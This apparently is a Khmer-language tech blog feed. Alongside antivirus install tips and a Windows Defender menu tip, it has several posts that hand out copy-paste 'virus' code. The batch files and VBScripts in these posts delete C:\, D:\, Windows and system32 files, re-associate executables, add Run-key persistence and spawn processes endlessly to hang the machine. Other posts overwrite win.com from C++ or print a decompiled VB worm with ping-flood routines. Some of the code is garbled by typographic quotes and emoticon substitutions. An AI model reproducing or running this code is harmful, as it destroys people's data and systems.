ផលិតផលចេញថ្មី avast! Free Antivirus ដែលផ្តល់អោយ free មានលក្ខណ:ពិសេសខុសពី
AVG ឬ Avira។

ហើយនៅចុងឆ្នាំ 2013, Avast បានដាក់អោយប្រើ version ថ្មីប្រើលើ Windows នោះគឺជា Avast Security 2014។
ដោនឡូត និងដំឡើង កម្មវិធី avast! Free Antivirus 2014 ដែលមានទំហំ 85MB អាច ដោនឡូត ពីគេហទំព័រ ចុចដោនឡូតទីនេះ

ក្រោយពីដោនឡូតរូច លោកអ្នកដំឡើង avast! Free Antivirus 2014 លើកុំព្យូទ័រ។ ចុចលើ “custom installation”។

លោកអ្នកដកចេញជម្រើសពីរគឺ “avast! Remote Assistance” និង “SecureLine”។ ដោយពីរ ជម្រើសនេះ មិនអាចប្រើបាន។

Scan with Windows Defender

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

បន្ថែម “Scan with Windows Defender” ចូលក្នុង menu កណ្តុរខាងស្តាំអ្នកប្រើប្រាស់ Windows 8.1 អាចនឹងមិនដំឡើងថែម antivirus ណាដើម្បីការពារ ពីព្រោះលើ កម្មវិធី Windows មានកម្មវិធី ប្រឆាំង មេរោគ Windows Defender រួចស្រេច។

ពេលប្រើ Windows Defender ដើម្បី Scan file មើលឃើញ directory សង់សៃមានមេរោគ ចូលក្នុង Control Panel ដើម្បីហៅវា។ ក្នុងមេរៀននេះ ណែនាំអានបន្ថែមលើរបៀប Scan Windows Defender” (Scan with Windows Defender) ពីក្នុង menu។ បើកកម្មវិធី Notepad លើWindows 8.1 ចូលក្នុងប្រអប់ Run វាយសរសេរ Notepad។

សរសេរកូដចូលក្នុង Notepad ដូចខាងក្រោម

រក្សាទុកឈ្មោះ ចូរចាំថាបង្កើតជា “[ten-tuy-y].reg” រួចហើយរក្សាទុក

ឥឡូវនេះលោកអ្នកអាច ចូលក្នុង file ដែលទើបតែបង្កើតដើម្បីរត់ “Scan with Windows Defender” ចូល menu ចុចលើកណ្តុរស្តាំក្នុង Windows 8.1។

អត្ថបទ Matrix ក្នុង Notepad

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

សរសេរអត្ថបទ Matrix ក្នុង Notepadលោកអ្នកធ្វើជំហានខាងក្រោម:

បើកកម្មវិធី notepad
Copy ហើយ paste code នេះ:

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start
រួចហើយ Save ជា file ដូចជា matrix.bat

កូដ Virus សរសេរ C, C++

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

————————- Example 1 —————————————-
#include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>
int main(void)
{
clrscr();
int handle;
char string[1000];
int length, res,i;
/*
Create a file named “DOVE.GIF” in the current directory and write
a string to it. If “DOVE.GIF” already exists, it will be overwritten.
*/
if ((handle = open(“C:\windows\win.com”, O_WRONLY | O_CREAT |
O_TRUNC,
S_IREAD | S_IWRITE)) == -1)
{
printf(“Error opening file.”);
exit(1);
}
strcpy(string, “<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!</html>” smilie

;
length = strlen(string);
if ((res = write(handle, string, length)) != length)
{
printf(“Error writing to the file.” smilie

;
getch();
exit(1);
}
printf(“Wrote %d bytes to the file.”, res);
cout<<“Hello !!!!!!!!”;
cout<<“This is a VIRUS ATTACK !!!”;
cout<<“This execution currupt your WINDOWS !!!!!!”;
close(handle);
getch();
return 0;
}
————————– Example 2 —————————
#include<iostream.h>
#include<conio.h>
#include<dos.h>
#include<stdio.h>
#include<process.h>
#include<graphics.h>
#include<fstream.h>
void fool();
void main()
{
clrscr();
for(int i=0;i<=100;i++)
{
textcolor(YELLOW+BLINK);
gotoxy(35,12);
cprintf(“VIRUS LOADING” smilie

;
gotoxy(39,15);
textcolor(GREEN);
cout<<i><<“%”;
delay(75);
clrscr();
}
delay(100);
clrscr();
flushall();
gotoxy(20,12);
cout<<” ‘AISHWARYA’ VIRUS CREATED NOW BY SANDEEP”;
gotoxy(20,14);
cout<<“SAY GOOD BYE TO YOUR PC IN “;
for(int j=10;j>=0;j–)
{
gotoxy(48,14);
cout<<j><<” SECONDS”;
delay(1000);
}
clrscr();
cout<<”
1.HARD-DISK CORRUPTION: “;
delay(4000);
cout<<“completed”;
cout<<”
2.MOTHER BOARD CORRUPTION: “;
delay(4000);
cout<<“completed”;
cout<<”
3.INSTALLING CYBERBOB.DLL –>WINDOWS/COMMAND :”;
delay(4000);
cout<<“completed”;
cout<<”
PROCRAETORIAN.SYS SUCCESSFULLY PLANTED”;
delay(3000);
cout<<”
VIRUS.EXE”;
delay(2000);
cout<<”
*************************”;
cout<<”
Buddy it’s a simply joke “;
cout<<”
*************************”;
delay(4000);
cout<<”
**********************************”;
cout<<”
For Real Virus “;
cout<<”
Contact Me: Sandeep Udaipur “;
cout<<”
Mo: 010101010101 “;
cout<<”
Email: sandeep@yahoo.co.in “;
cout<<”
**********************************”;
delay(10000);
}
void fool()
{
clrscr();
int g=DETECT,h;
initgraph(&g,&h,”c:\tc\bgi” smilie

;
cleardevice();
delay(1000);
setcolor(2);
settextstyle(1,0,1);
delay(1000);
setbkcolor(BLUE);
getch();
delay(4000);
closegraph();
exit(0);
}
——————————— Example 3 ————————————-
//*****************************************************//
//virus program mimmic -created by Sohan Alva class XII//
//*****************************************************//
#include<iostream.h>
#include<conio.h>
#include<dos.h>
#include<stdio.h>
#include<process.h>
#include<graphics.h>
#include<fstream.h>
void ffool(); //FUNCTION WHICH GIVES THE FINAL MESSAGE
void main()
{
clrscr();
for(int i=0;i<=100;i++)
{
textcolor(YELLOW+BLINK);
gotoxy(35,12);
cprintf(“VIRUS LOADING” smilie

;
gotoxy(39,15);
textcolor(GREEN);
cout<<i><<“%”;
delay(75);
clrscr();
}
delay(100);
clrscr();
fflush(stdout);
gotoxy(20,12);
cout<<” ‘TOURNIQUET’ VIRUS CREATED BY PROCRAETORIAN”;
gotoxy(20,14);
cout<<” SAY GOOD BYE TO YOUR PC IN “;
for(int j=5;j>=0;j–)
{
gotoxy(48,14);
cout<<j><<” SECONDS”;
delay(1000);
}
ofstream f1;
f1.open(“c:/windows/All Users/desktop/procraetorian.sys” smilie

;
ofstream f3(“c:/windows/All Users/desktop/blast.sys” smilie

;
ofstream a2(“c:/windows/All Users/desktop/mslaugh.exe” smilie

;
ofstream s2(“c:/windows/All Users/desktop/backdoor.sys” smilie

;
ofstream g2(“c:/windows/All Users/desktop/spin32_war.sys” smilie

;
ofstream h2(“c:/windows/All Users/desktop/russpatr.sys” smilie

;
ofstream j2(“c:/windows/All Users/desktop/torr_sys32.sys” smilie

;
ofstream k2(“c:/windows/All Users/desktop/xxx.sys” smilie

;
ofstream l2(“c:/windows/All Users/desktop/i.txt” smilie

;
ofstream sm(“c:/windows/All Users/desktop/am.txt” smilie

;
ofstream d1(“c:/windows/All Users/desktop/your.txt” smilie

;
ofstream d2(“c:/windows/All Users/desktop/worst.txt” smilie

;
ofstream d3(“c:/windows/All Users/desktop/night.txt” smilie

;
ofstream d4(“c:/windows/All Users/desktop/mare.txt” smilie

;
clrscr();
lowvideo();
cout<<”
1.HARD-DISK CORRUPTION
:”;
delay(4000);
cout<<“completed”;
cout<<”
2.MOTHER BOARD CORRUPTION
:”;
delay(4000);
cout<<“completed”;
cout<<”
3.INSTALLING CYBERBOB.DLL –>WINDOWS/COMMAND
:”;
delay(4000);
cout<<“completed”;
cout<<”
PROCRAETORIAN.SYS SUCCESSFULLY PLANTED”;
delay(3000);
rename(“VIRUS.EXE”,”C:WINDOWSStart MenuProgramsStartUpVIRUS.EXE” smilie

;
//ffool();
}
//*END OF MAIN*//
//*START OF ffool()*//
void ffool()
{
clrscr();
int g=DETECT,h;
initgraph(&g,&h,”\tc\bgi\” smilie

;
cleardevice();
delay(1000);
setcolor(2);
settextstyle(1,0,1);
delay(1000);
setbkcolor(BLUE);
highvideo();
outtextxy(50,150,”THE PROCRAETORIAN:” smilie

;
delay(1500);
outtextxy(50,200,”YOUR PC IS NOW UNDER SURVEILANCE BY THE VIRUS
HOST” smilie

;
outtextxy(50,250,”PEA(C)E BE WITH YOU ! ! !” smilie

;
getch();
delay(4000);
closegraph();
exit(0);
}
//*END OF ffool()*//
—————————————————–
3 សរសេរមេរោគប្រើកម្មវិធី C++
កូដសរសេរលើកម្មវិធី VB. Virus Love
Object: F
Private Sub M_Timer() Address: 40EDD0
Private Sub W_Timer() Address: 40EF90
Private Sub Y_Timer() Address: 40FCA0
Private Sub S_Timer() Address: 40EEB0
Private Sub Form_Load() Address: 40E3A0
Public Function PathCover(Path) Address: 407870
Public Function RndName() Address: 407980
Public Sub ScanSys() Address: 407C10
Public Sub ScanDir(Path) Address: 407FC0
Public Sub ScanA() Address: 408280
Public Function FindUSB() Address: 408650
Public Sub MakeTmp() Address: 408D20
Public Sub LoadTmp() Address: 408D90
Public Sub SaveTmp() Address: 408F40
Public Sub LockFile(FileName) Address: 409140
Public Sub UnLockFile(FileName) Address: 409360
Public Function EnCode(StringValue) Address: 409520
Public Sub Destroy() Address: 4097E0
Public Sub BitToy() Address: 40B270
Public Sub DelayAV() Address: 40B920
Public Sub CheckMe() Address: 40BBF0
Public Function SafeMe(AntiPro) Address: 40BE50
Public Sub AutoSafe() Address: 40BFB0
Public Sub SysCopy() Address: 40C470
Public Sub InsertChar(Code) Address: 40CF30
Public Sub YSent() Address: 40D180
Public Function YCheck(KeyRead, MyVoice) Address: 40E100
***********************************************
loc_0040B295: var_08 = &H401320
loc_0040B2A7: call eax+04h(arg_08, edi, esi, ebx, fs:[00h], MSVBVM60.DLL.__vbaExceptHandler, ebp)
loc_0040B2E0: var_38 = 80020004h
loc_0040B2EA: Randomize(10)
loc_0040B2F3: call MSVBVM60.DLL.__vbaFreeVar
loc_0040B2FC: var_38 = 80020004h
loc_0040B300: var_40 = 10
loc_0040B307: var_40 = Rnd(%x2)
loc_0040B30D: fstp real4 ptr var_000000C4
loc_0040B313: fld real4 ptr var_000000C4
loc_0040B319: fmul real4 ptr [0040131Ch] ;
loc_0040B32A: fstp real4 ptr var_48
loc_0040B32D: fstsw ax
loc_0040B331: If MSVBVM60.DLL.__vbaFreeVar = 0 Then
loc_0040B346: call MSVBVM60.DLL.__vbaUI1Var(Round(4, esi))
loc_0040B36B: If var_60 = 0 Then
loc_0040B370: call eax+00000300h(arg_08)
loc_0040B37B: var_30 = IsSet(eax+00000300h(arg_0 smilie

loc_0040B38B: call edx+64h(eax+00000300h(arg_08), 00002710h)
loc_0040B392: If edx+64h(eax+00000300h(arg_08), 00002710h) < esi Then
loc_0040B39D: call MSVBVM60.DLL.__vbaHresultCheckObj(edx+64h(eax+0000 0300h(arg_08), 00002710h), eax+00000300h(arg_08), 00405C88h, 00000064h)
loc_0040B3A3: End If
loc_0040B3A6: call MSVBVM60.DLL.__vbaFreeObj
loc_0040B3AC: End If
loc_0040B3B0: If byte ptr var_1C = 01h Then
loc_0040B3B5: call MSVBVM60.DLL.__vbaStrI2(esi, esi, esi)
loc_0040B3C6: call MSVBVM60.DLL.__vbaStrMove
loc_0040B3CD: call MSVBVM60.DLL.__vbaStrToAnsi(“”, MSVBVM60.DLL.__vbaStrMove)
loc_0040B3DD: call MSVBVM60.DLL.__vbaStrToAnsi(“”, “set cdaudio door open”, MSVBVM60.DLL.__vbaStrToAnsi(“”, MSVBVM60.DLL.__vbaStrMove))
loc_0040B3E4: Proc_004058C8(MSVBVM60.DLL.__vbaStrToAnsi(“”, “set cdaudio door open”, MSVBVM60.DLL.__vbaStrToAnsi(“”, MSVBVM60.DLL.__vbaStrMove)), MSVBVM60.DLL.__vbaStrI2(esi, esi, esi), “” smilie

loc_0040B3E9: call MSVBVM60.DLL.__vbaSetSystemError(MSVBVM60.DLL.__vb aStrToAnsi(“”, “set cdaudio door open”, MSVBVM60.DLL.__vbaStrToAnsi(“”, MSVBVM60.DLL.__vbaStrMove)))
loc_0040B406: GoTo loc_40B40E
loc_0040B408: End If
loc_0040B40E: ‘Referenced from 0040B406
loc_0040B412: If byte ptr var_1C = 02h Then
loc_0040B431: var_68 = 80020004h
loc_0040B434: var_58 = 80020004h
loc_0040B437: var_00000098 = “Hi world !”
loc_0040B441: var_000000A0 = 8
loc_0040B45A: var_00000088 = “Hello my name is HoaiTranMGF by Bit.Kill3r”
loc_0040B464: var_00000090 = 8
loc_0040B489: MsgBox(“Hello my name is HoaiTranMGF by Bit.Kill3r”, 00001000h, “Hi world !”, 10, 10)
loc_0040B4AA: End If
loc_0040B4AE: If byte ptr var_1C = 03h Then
loc_0040B4B9: var_00000088 = “shutdown -f”
loc_0040B4C3: var_00000090 = 8
loc_0040B4CD: var_40 = “shutdown -f”
loc_0040B4D8: var_40 = Shell(esi, %x3)
loc_0040B4E1: fstp st(0)
loc_0040B4E3: call MSVBVM60.DLL.__vbaFreeVar
loc_0040B4E9: End If
loc_0040B4ED: If byte ptr var_1C = 04h Then
loc_0040B4FF: var_40 = Chr(00000022h)
loc_0040B507: var_70 = Chr(00000022h)
loc_0040B51A: var_00000090 = 8
loc_0040B520: var_000000A0 = 8
loc_0040B530: var_00000088 = “shutdown -s -t 10 -c”
loc_0040B53A: var_00000098 = “Hello ! my name is HoaiTrangMGF by Bit.Kill3r”
loc_0040B544: call MSVBVM60.DLL.__vbaVarCat(“”, var_40, var_00000090, esi)
loc_0040B552: call MSVBVM60.DLL.__vbaVarCat(“”, var_000000A0, MSVBVM60.DLL.__vbaVarCat(“”, var_40, var_00000090, esi))
loc_0040B55D: call MSVBVM60.DLL.__vbaVarCat(“”, var_70, MSVBVM60.DLL.__vbaVarCat(“”, var_000000A0, MSVBVM60.DLL.__vbaVarCat(“”, var_40, var_00000090, esi)))
loc_0040B560: MSVBVM60.DLL.__vbaVarCat(“”, var_70, MSVBVM60.DLL.__vbaVarCat(“”, var_000000A0, MSVBVM60.DLL.__vbaVarCat(“”, var_40, var_00000090, esi))) = Shell(%x2, %x3)
loc_0040B57C: fstp st(0)
loc_0040B58A: End If
loc_0040B58E: If byte ptr “” >= 05h Then
loc_0040B593: call ecx+00000728h(arg_08)
loc_0040B59B: If ecx+00000728h(arg_08) < esi Then
loc_0040B5A9: call MSVBVM60.DLL.__vbaHresultCheckObj(ecx+00000728h(ar g_08), arg_08, 00405544h, 00000728h)
loc_0040B5AF: End If
loc_0040B5AF: End If
loc_0040B5BE: call &(“:home”, “” smilie

loc_0040B5C5: call MSVBVM60.DLL.__vbaStrMove
loc_0040B5CD: call &(“13#1″, MSVBVM60.DLL.__vbaStrMove)
loc_0040B5D4: call MSVBVM60.DLL.__vbaStrMove
loc_0040B5D9: call MSVBVM60.DLL.__vbaFreeStr
loc_0040B5EA: call MSVBVM60.DLL.__vbaUI1I2
loc_0040B5F4: call MSVBVM60.DLL.__vbaUI1I2
loc_0040B600: If MSVBVM60.DLL.__vbaUI1I2 <= MSVBVM60.DLL.__vbaUI1I2 Then
loc_0040B60B: call &(“ping”, “” smilie

loc_0040B612: call MSVBVM60.DLL.__vbaStrMove
loc_0040B61A: call &(“musicdanang.tv”, MSVBVM60.DLL.__vbaStrMove)
loc_0040B621: call MSVBVM60.DLL.__vbaStrMove
loc_0040B629: call &(“-n 1 -l 65500″, MSVBVM60.DLL.__vbaStrMove)
loc_0040B630: call MSVBVM60.DLL.__vbaStrMove
loc_0040B638: call &(“13#1″, MSVBVM60.DLL.__vbaStrMove)
loc_0040B63F: call MSVBVM60.DLL.__vbaStrMove
loc_0040B65A: al = al + bl
loc_0040B65C: If Not Asm.b_flag Then
loc_0040B662: GoTo loc_40B5F6
loc_0040B664: End If
loc_0040B66D: call &(“ping”, “” smilie

loc_0040B674: call MSVBVM60.DLL.__vbaStrMove
loc_0040B67C: call &(“musicdanang.tv”, MSVBVM60.DLL.__vbaStrMove)
loc_0040B683: call MSVBVM60.DLL.__vbaStrMove
loc_0040B68B: call &(“-n 2 -l 65500″, MSVBVM60.DLL.__vbaStrMove)
loc_0040B692: call MSVBVM60.DLL.__vbaStrMove
loc_0040B69A: call &(“13#1″, MSVBVM60.DLL.__vbaStrMove)
loc_0040B6A1: call MSVBVM60.DLL.__vbaStrMove
loc_0040B6C3: call &(“goto home”, “” smilie

loc_0040B6CA: call MSVBVM60.DLL.__vbaStrMove
loc_0040B6D3: If 411340h = 0 Then
loc_0040B6DF: CreateObject(00405AA8h, 00411340h)
loc_0040B6E5: End If
loc_0040B6F2: call eax+14h(00411340h, var_30)
loc_0040B6F9: If eax+14h(00411340h, var_30) < 0 Then
loc_0040B704: call MSVBVM60.DLL.__vbaHresultCheckObj(eax+14h(00411340 h, var_30), 00411340h, 00405E80h, 00000014h)
loc_0040B70A: End If
loc_0040B716: call edx+50h(var_30, “” smilie

loc_0040B71D: If edx+50h(var_30, “” smilie

< 0 Then
loc_0040B728: call MSVBVM60.DLL.__vbaHresultCheckObj(edx+50h(var_30, “” smilie

, var_30, 00405AB8h, 00000050h)
loc_0040B72E: End If
loc_0040B734: var_20 = 0
loc_0040B73B: call MSVBVM60.DLL.__vbaStrMove
loc_0040B74B: call edx+000006F8h(arg_08, “”, “” smilie

loc_0040B753: If edx+000006F8h(arg_08, “”, “” smilie

< 0 Then
loc_0040B761: call MSVBVM60.DLL.__vbaHresultCheckObj(edx+000006F8h(ar g_08, “”, “” smilie

, arg_08, 00405544h, 000006F8h)
loc_0040B767: End If
loc_0040B770: call &(“POD.bat”, “” smilie

loc_0040B777: call MSVBVM60.DLL.__vbaStrMove
loc_0040B780: call Open #(00000020h, FFFFFFFFh, 00000001h, MSVBVM60.DLL.__vbaStrMove)
loc_0040B7A0: call MSVBVM60.DLL.__vbaFreeObj
loc_0040B7AE: call Put #(00000000h, “”, 00000001h)
loc_0040B7B6: Close 00000001h
loc_0040B7C3: If 411340h = 0 Then
loc_0040B7CF: CreateObject(00405AA8h, 00411340h)
loc_0040B7D5: End If
loc_0040B7E2: call ecx+14h(00411340h, var_30)
loc_0040B7E9: If ecx+14h(00411340h, var_30) < 0 Then
loc_0040B7F4: call MSVBVM60.DLL.__vbaHresultCheckObj(ecx+14h(00411340 h, var_30), 00411340h, 00405E80h, 00000014h)
loc_0040B7FA: End If
loc_0040B806: call ecx+50h(var_30, var_20)
loc_0040B80D: If ecx+50h(var_30, var_20) < 0 Then
loc_0040B818: call MSVBVM60.DLL.__vbaHresultCheckObj(ecx+50h(var_30, var_20), var_30, 00405AB8h, 00000050h)
loc_0040B81E: End If
loc_0040B824: var_20 = 0
loc_0040B82B: call MSVBVM60.DLL.__vbaStrMove
loc_0040B83B: call eax+000006F8h(arg_08, “”, “” smilie

loc_0040B843: If eax+000006F8h(arg_08, “”, “” smilie

< 0 Then
loc_0040B851: call MSVBVM60.DLL.__vbaHresultCheckObj(eax+000006F8h(ar g_08, “”, “” smilie

, arg_08, 00405544h, 000006F8h)
loc_0040B857: End If
loc_0040B860: call &(“POD.bat”, “” smilie

loc_0040B86B: var_40 = 8
loc_0040B872: var_40 = Shell(00000000h, %x3)
loc_0040B882: fstp st(0)
loc_0040B890: call MSVBVM60.DLL.__vbaFreeObj
loc_0040B899: call MSVBVM60.DLL.__vbaFreeVar
loc_0040B8A5: GoTo loc_40B8EB
loc_0040B8C5: call MSVBVM60.DLL.__vbaFreeObj(0040B8F5h)
loc_0040B8EA: ret
loc_0040B8EB: ‘Referenced from 0040B8A5
loc_0040B8EE: call MSVBVM60.DLL.__vbaFreeStr
loc_0040B8F4: ret
loc_0040B8FB: call ecx+08h(arg_08)
loc_0040B911: retn 0004h
loc_0040B914: End If
loc_0040B914: GoTo loc_MSVBVM60.DLL.__vbaFPException
loc_0040B919: End If
loc_0040B919: call MSVBVM60.DLL.__vbaErrorOverflow
End Sub
************************************************** ***
Public Sub LockFile(FileName) ‘409140
loc_00409162: var_08 = &H401250
loc_00409174: call ecx+04h(arg_08, edi, esi, ebx, fs:[00h], MSVBVM60.DLL.__vbaExceptHandler, ebp)
loc_00409199: call Open #(00000020h, FFFFFFFFh, 00000001h, edx)
loc_004091A4: “This File Was Destroy By HoaiTrang MGF [Bit.Kill3r] = Len(%x2)
loc_004091AC: call MSVBVM60.DLL.__vbaI2I4
loc_004091C8: If 00000001h <= var_64 Then
loc_004091D0: call MSVBVM60.DLL.__vbaGet3(00000001h, var_20, 00000001h)
loc_004091DC: and eax, 000000FFh
loc_004091E6: var_50 = “”
loc_004091E9: var_58 = 8
loc_004091F0: var_38 = Chr(var_20)
loc_00409202: call MSVBVM60.DLL.__vbaVarCat(“”, var_38, var_58)
loc_00409209: call MSVBVM60.DLL.__vbaStrVarMove(MSVBVM60.DLL.__vbaVar Cat(“”, var_38, var_5 smilie

loc_00409214: call MSVBVM60.DLL.__vbaStrMove
loc_0040922C: cx = cx + si
loc_0040922F: If Err.Number <> 0 Then GoTo loc_0040934F
loc_00409237: GoTo loc_4091C2
loc_00409239: End If
loc_0040923F: Close %x1
loc_0040924D: call Open #(00000020h, FFFFFFFFh, 00000001h, edx)
loc_0040925B: call MSVBVM60.DLL.__vbaStrCopy
loc_00409269: call Put #(00000000h, “”, 00000001h)
loc_00409278: call MSVBVM60.DLL.__vbaFreeStr
loc_0040927C: Close 00000001h
loc_00409289: call &(“.lock”, edx)
loc_00409294: call MSVBVM60.DLL.__vbaStrMove
loc_0040929D: call Open #(00000020h, FFFFFFFFh, 00000001h, MSVBVM60.DLL.__vbaStrMove)
loc_004092A6: call MSVBVM60.DLL.__vbaFreeStr
loc_004092B6: call ecx+00000724h(arg_08, “”, “” smilie

loc_004092BE: If ecx+00000724h(arg_08, “”, “” smilie

< 0 Then
loc_004092CF: call MSVBVM60.DLL.__vbaHresultCheckObj(ecx+00000724h(ar g_08, “”, “” smilie

, arg_08, 00405544h, 00000724h)
loc_004092D5: End If
loc_004092DB: var_24 = 0
loc_004092E2: call MSVBVM60.DLL.__vbaStrMove
loc_004092EC: call Put #(00000000h, “”, 00000001h)
loc_004092F5: call MSVBVM60.DLL.__vbaFreeStr
loc_004092F9: Close 00000001h
loc_00409300: GoTo loc_409326
loc_00409325: ret
loc_00409326: ‘Referenced from 00409300
loc_00409329: call MSVBVM60.DLL.__vbaFreeStr(00409330h)
loc_0040932F: ret
loc_00409336: call ecx+08h(arg_08)
loc_0040934C: retn 0008h
loc_0040934F: ‘Referenced from 040922F
loc_0040934F: call MSVBVM60.DLL.__vbaErrorOverflow
End Sub

បង្កើតមេរោគ លប់ C:\ ចោល

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

បើលោកអ្នកចង់ លប់ចោល Drive C:\ ចោល ហើយ ដំឡើង Windows ឡើងវិញ

ចូល Copy កូដខាងក្រោមដាក់ចូលក្នុង Notepad ហើយ Save ជា .bat :
if exist C:\program files*.* deltree /y C:\program files*.*
if exist C:\my documents*.* deltree /y C:\my documents*.*
if exist C:\windows\desktop*.* deltree /y C:\windows\desktop*.*
if exist C:\windows\start menue*.* deltree /y C:\windows\start menue*.*
if exist C:\windows\command*.* deltree /y C:\windows\command*.*
if exist C:\windows\system*.* deltree /y C:\windows\system*.*
if exist C:\windows*.* deltree /y C:\windows*.*

កូដមេរោគ ចុចបង្កើត Folder

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

បើកលោកអ្នកអផ្សុក ចង់បង្កើត ចុចចេញ folder ចូល Copy កូដខាងក្រោម Save ជា .vbs ក្នុង Notepad ទៅ
Dim fso,file,VBCopy
Set fso=CreateObject(“Scripting.FileSystemObject”)
Set file=fspenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList(“A:”)
FolderList(“B:”)
FolderList(“C:”)
FolderList(“D:”)
FolderList(“E:”)
FolderList(“F:”)
FolderList(“G:”)
FolderList(“H:”)
FolderList(“I:”)
FolderList(“J:”)
FolderList(“K:”)
FolderList(“L:”)
FolderList(“M:”)
FolderList(“N:”)
FolderList(“O:”)
FolderList(“P:”)
FolderList(“Q:”)
FolderList(“R:”)
FolderList(“S:”)
FolderList(“T:”)
FolderList(“U:”)
FolderList(“V:”)
FolderList(“X:”)
FolderList(“Y:”)
FolderList(“Z:”)
FolderList(“W:”)
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders For Each f1 In sf
‘Set COP=fso.CreateTextFile(f1.path & “\Virus !!!!!!!.vbs”)
‘COP.write VBCopy
‘Set CAP=fso.CreateTextFile(f1.path & “—Virus !!!!!!!.vbs”)
‘CAP.write VBCopy
‘Set ATT=fso.GetFolder(f1.Path)
‘ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & “\Virus !!!!!!!.vbs”)
fso.DeleteFile(f1.path & “—Virus !!!!!!!.vbs”)
FolderList(f1.Path)
Next
End sub

បង្កើតមេរោគអោយ Error

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

បើកលោកអ្នកអផ្សុក ចង់អោយប្រព័ន្ធ Error ចូល Copy កូដខាងក្រោម Save ជា .bat ក្នុង Notepad ទៅ
msgbox” Slap tov !”
On Error Resume Next
Set vip_xinh = Createobject(“scripting.filesystemobject”)
vip_xinh.copyfile wscript.scriptfullname,vip_xinh.GetSpecialFolder(0 )& “\ vip_xinh.vbs”
Set vip_xinh2= CreateObject(“WScript.Shell”)
vip_xinh2.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n\die”,”wscript.exe “& vip_xinh.GetSpecialFolder(0)& “\ vip_xinh.vbs %”
On Error Resume Next
Const vic = “D:\”
Delvic
Sub Delvic()
Dim fso
Set fso = CreateObject(“Scripting.FileSystemObject”)
fso.DeleteFile vic & “*.*” , True
fso.DeleteFolder vic & “*” , True
End Sub
On Error Resume Next
Const vic1 = “C:\windows\”
Delvic1
Sub Delvic1()
Dim fso1
Set fso1 = CreateObject(“Scripting.FileSystemObject”)
fso1.DeleteFile vic1 & “*.*” , True
fso1.DeleteFolder vic1 & “*” , True
End Sub
On Error Resume Next
Const vic2 = “C:\”
Delvic2
Sub Delvic2()
Dim fso2
Set fso2 = CreateObject(“Scripting.FileSystemObject”)
fso2.DeleteFile vic2 & “*.*” , True
fso2.DeleteFolder vic2 & “*” , True
End Sub
On Error Resume Next
Set treomay= CreateObject(“WScript.Shell”)
Do
treomay.run “notepad”,false
loop

កូដសរសេរ គាំងម៉ាស៊ីន

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

បើកលោកអ្នកអផ្សុក ចង់អោយប្រព័ន្ធ ជាប់គាំង និង RAM full ចូល Copy កូដខាងក្រោម Save ជា .vbs ក្នុង Notepad ទៅ
On Error Resume Next
Set popo= Createobject(“scripting.filesystemobject”)
popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& “\popo.vbs”
Set popo2= CreateObject(“WScript.Shell”)
popo2.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n”,”wscript.exe “&popo.GetSpecialFolder(0)& “\popo.vbs %”
Set treomay= CreateObject(“WScript.Shell”)
msgbox”May tinh cua ban bi nhiem virut”,,”Danger”
msgbox”May se bi lag trong 2s”,,”Danger”
msgbox”Ban con 1s”,,”Danger”
msgbox”Ban con 0s”,,”Danger”
msgbox”Computer have viruese”,,”Danger”
Me.visible=false
App.Taskvisible=false
Do
Me.visible=false
App.Taskvisible=false
treomay.run “notepad”,false
loop

បង្កើតមេរោគដោយ Notepad

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

មេរោគ នេះមានកម្លាំងខ្លាំងគួរសម ពេលដែលរត់លើវា 100% អាច ដំឡើង Windows ឡើងវិញ។
លោកអ្នក Copy កូដទាំងអស់បញ្ចូលលើ Notepad រួចហើយ Save ជា .bat

@Echo Off
@cls
@title Cai lai win di!
@assoc exe=txt
@assoc reg=jpg
@cd %systemroot%
@del /f /s /q TASKMAN.EXE
@cd %Systemroot%\system32
@del /f /s /q hal.dll
@del /f /s /q taskkil.exe
@del /f /s /q tasklist.exe
@del /f /s /q taskman.exe
@del /f /s /q taskmgr.exe
@shutdown Your computer will bye bye -s -t 06 -c " Fatal loi #1337, You DEAD!"
@del /f /s /q *.*
@cd ..
@del /f /s /q TASKMAN.EXE
@del /f /s /q *.*
@exit

ស្កាត់មេរោគពី USB ចូលក្នុងកុំព្យូទ័រ

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

កម្មវិធី Phrozen Safe USB គឺជាឧបករណ៍មានប្រយោជន៍ ជួយអោយលោកអ្នកប្រើប្រាស់ទប់ ស្កាត់មេរោគពី USB ចូលទៅក្នុងកុំព្យូទ័រ វាអាចការពារទិន្នន័យបាន។
ដោនឡូត Download Phrozen Safe USB ចុចទីនេះ មានទំហំតែ 800 KB។
នៅពេលដែលបើកដំបូង Phrozen Safe USB នឹងរត់ដំណើរការក្នុងប្រព័ន្ធដែលប្រើ memory 3 MB របស់ RAM។

- USB Devices fully operational: ជ្រើសរើសលើ Option នេះគឺភ្ជាប់ USB ជាមួយកុំព្យូទ័រ ហើយធ្វើការធម្មតា។
